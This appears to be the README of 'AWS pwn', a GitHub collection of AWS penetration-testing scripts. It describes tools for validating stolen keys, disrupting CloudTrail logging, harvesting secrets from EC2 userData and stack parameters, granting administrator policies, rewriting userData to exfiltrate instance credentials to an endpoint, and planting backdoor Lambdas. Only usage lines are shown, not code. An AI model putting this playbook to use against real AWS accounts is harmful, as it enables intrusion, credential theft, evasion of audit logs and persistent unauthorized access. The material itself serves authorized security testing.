Skip to content


Repository files navigation

AWS pwn


This is a collection of horribly written scripts for performing various tasks related to penetration testing AWS. Please don't be sad if it doesn't work for you. It might be that AWS has changed since a given tool was written or it might be that the code sux. Either way, please feel free to contribute.

Most of this junk was written by Daniel Grzelak but there's been plenty of contributions, most notably Mike Fuller.


pip install -r requirements.txt

Make sure to also set up your aws credentials in ~/.aws/credentials.


Things to do with pre-compromise information gathering.

  • - Given a TSV file of access key + secret [+ session] combinations, checks access validity and returns identity information of the principal.
./ -i /tmp/keys.txt -o /tmp/out.json
  • - Given a text file with one word per line, checks whether the buckets exist and returns basic identifying information.
./ -i /tmp/words.txt -o /tmp/out.json
  • - Given a text file of principals (e.g. user/admin, role/deploy), checks whether the principals exist in a given account.
./ -a 123456789012 -i /tmp/words.txt -o /tmp/out.json
  • - Given a text file of account ids and account aliases, checks whether the accounts exist.
./ -i /tmp/accounts.txt -o /tmp/out.json


Things that will help you gain a foothold in an account.


Things that might help you stay hidden after compromising an account.

  • - Attempts to disrupt/cripple cloudtrail logging in the specified way.
./ -s


Things to help you understand what you've pwned.

  • - Calls a bunch of generic account-based read/list/get/describe functions and saves the data to a given location. Very noisy but great for a point in time snapshot.
./ /tmp/


Things to help you move around an account and gather different levels of access.

  • - Goes through every EC2 instance in the account and retrieves the specified instance attributes. Most commonly used to retrieve userData, which tends to contain secrets.
./ -u -o /tmp/
  • - Retrieves the stack descriptions for every existing stack and every stack deleted in the last 90 days. Parameters in stack descriptions often contain passwords and other secrets.
./ -o /tmp/data
  • - Attempts to assume all roles (ARNs) in a file or provided by the list-roles API.
./ -o /tmp/out.json
  • add_iam_policy - Adds the administrator and all action policy to a given user, role, or group. Requires IAM putPolicy or attachPolicy privileges.
./ -u myuser -r myrole -g mygroup
  • bouncy_bouncy_cloudy_cloud - Bounces a given ec2 instance and rewrites its userData so that you can run arbirtary code or steal temporary instance profile credentials.
./ -i instance-id -e exfiltration-endpoint


Things to help maintain your access to an acccount.

  • rabbit_lambda - An example Lambda function that responds to user delete events by creating more copies of the deleted user.
  • cli_lambda - A lambda function that acts as an aws cli proxy and doesnt require credentials.
  • backdoor_created_users_lambda - A lambda function that adds an access key to each newly created user.
  • backdoor_created_roles_lambda - A lambda function that adds a trust relationship to each newly created role.
  • backdoor_created_security_groups_lambda - A lambda function that adds a given inbound access rule to each newly created security group.
  • - Adds an access key to every user in the account.
  • - Adds a trust relationship to each role in the account. Requires editing the file to set the role ARN.
  • - Adds a given inbound access rule to each security group in the account. Requires editing the file to set the rule.


Things to help you extract and move data around in AWSy ways.


Other things that I was either to stupid or too lazy to classify.

  • reserved_words.txt - A list of words/tokens that have some special meaning in AWS or are likely to soon have some special meaning.
  • endpoints.txt - A somewhat up to date list of API endpoints exposed by AWS.
  • integrations.txt - A TSV of services that integrate with AWS via roles or access keys and their account ids, default usernames etc.
  • - The command line to wget all the AWS docs because I'm stupid and waste time redoing it every time.

To do

  • Add passwords to users for persistence
  • Dump stack resources
  • Validate mfa
  • Add more calls to dump_account_data
  • Add more log disruption methods
  • Create a cloudtrail parsing script for grabbing goodies out of cloudtrail
  • Create an s3 bucket permission enumerator
  • Create tool to grab aws credentials from common places on disk
  • Create cloning tool
  • Create silly privelege escalation tool that uses passrole
  • Validate queues
  • Validate notification topics
  • Fix up persistence scripts to use arguments instead of constants inside the scripts


A collection of AWS penetration testing junk






No releases published


No packages published